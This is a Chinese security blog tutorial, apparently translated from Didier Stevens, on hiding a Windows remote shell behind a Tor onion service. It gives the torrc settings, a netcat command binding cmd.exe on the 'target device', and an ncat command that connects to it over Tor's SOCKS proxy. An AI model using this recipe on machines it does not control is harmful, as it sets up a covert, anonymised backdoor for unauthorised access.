在这篇文章中,我将跟大家分享我的一个小发现,即如何在Windows平台中通过Tor Onion服务来开启远程Shell 。接下来,话不多说,我们直奔主题。

操作方法

首先,我们要在一个Windows Tor客户端中创建一个Tor onion服务(即隐藏服务)。我下载了Tor Expert bundle(同样适用于Tor浏览器)-【下载地址】。

然后使用下列命令创建Tor配置文件torrc:

HiddenServiceDir C:\demo\Tor\service HiddenServicePort 8662 127.0.0.1:12345

开启Tor服务之后,将会自动创建目录C:\demo\Tor\Service,并填充一系列必要的文件(<主机名>文件夹包含了这个Toronion服务的.onion地址)。

该onion服务将监听端口8662,而流量将会直接转发到127.0.0.1(端口12345)。

这里我们还可以给服务开启客户端验证功能,因为如果不开启这个功能的话,任何知道这个.onion地址和端口号的人都可以进行连接。最基础的客户端验证使用了共享密钥,你可以使用下列命令进行配置(torrc):

HiddenServiceAuthorizeClient basic testuser

这里我选择使用testuser作为客户端名称:

接下来,我们可以使用配置文件torrc来开启Tor:

tor.exe -f torrc

.onion地址以及客户端验证cookie可以在service目录的<主机名>文件夹中找到:

nybjuivgocveiyeq.onion Wa5kOshPqZF4tFynr4ug1g # client: testuser

当然了,你一定要保护认证cookie密钥的安全。

现在,用nc.exe在目标Windows设备上开启服务(我几年前就在电脑上下载了nc.exe,我不记得原始的URL地址了,我使用的版本是v1.11,MD5为ab41b1e2db77cebd9e2779110ee3915d):

nc -e cmd.exe -L -s 127.0.0.1 -p 12345

Tor ExpertBundle以及nc.exe不需要任何其他的依赖组件(跟DLL类似),因此任意用户都可以直接运行。

现在我们的目标主机已经配置好了,在另一台设备上,我需要使用包含了认证cookie的配置文件来开启Tor服务:

HidServAuth nybjuivgocveiyeq.onion Wa5kOshPqZF4tFynr4ug1g

接下来,我们需要运行ncat,因为ncat.exe支持socks5代理(nc.exe不支持):

ncat.exe --proxy 127.0.0.1:9050 --proxy-type socks5 nybjuivgocveiyeq.onion 8662

接下来,我们就得到远程Shell啦!

提醒大家一下,这种方法不适用于ncat v 7.60版本,具体原因请参考【这里】:

ibnsock select_loop(): nsock_loop error 10038: An operation was attempted on somethingthat is not a socket.

* 参考来源:didierstevens,FB小编Alpha_h4ck编译,转载请注明来自FreeBuf.COM

关键词: tor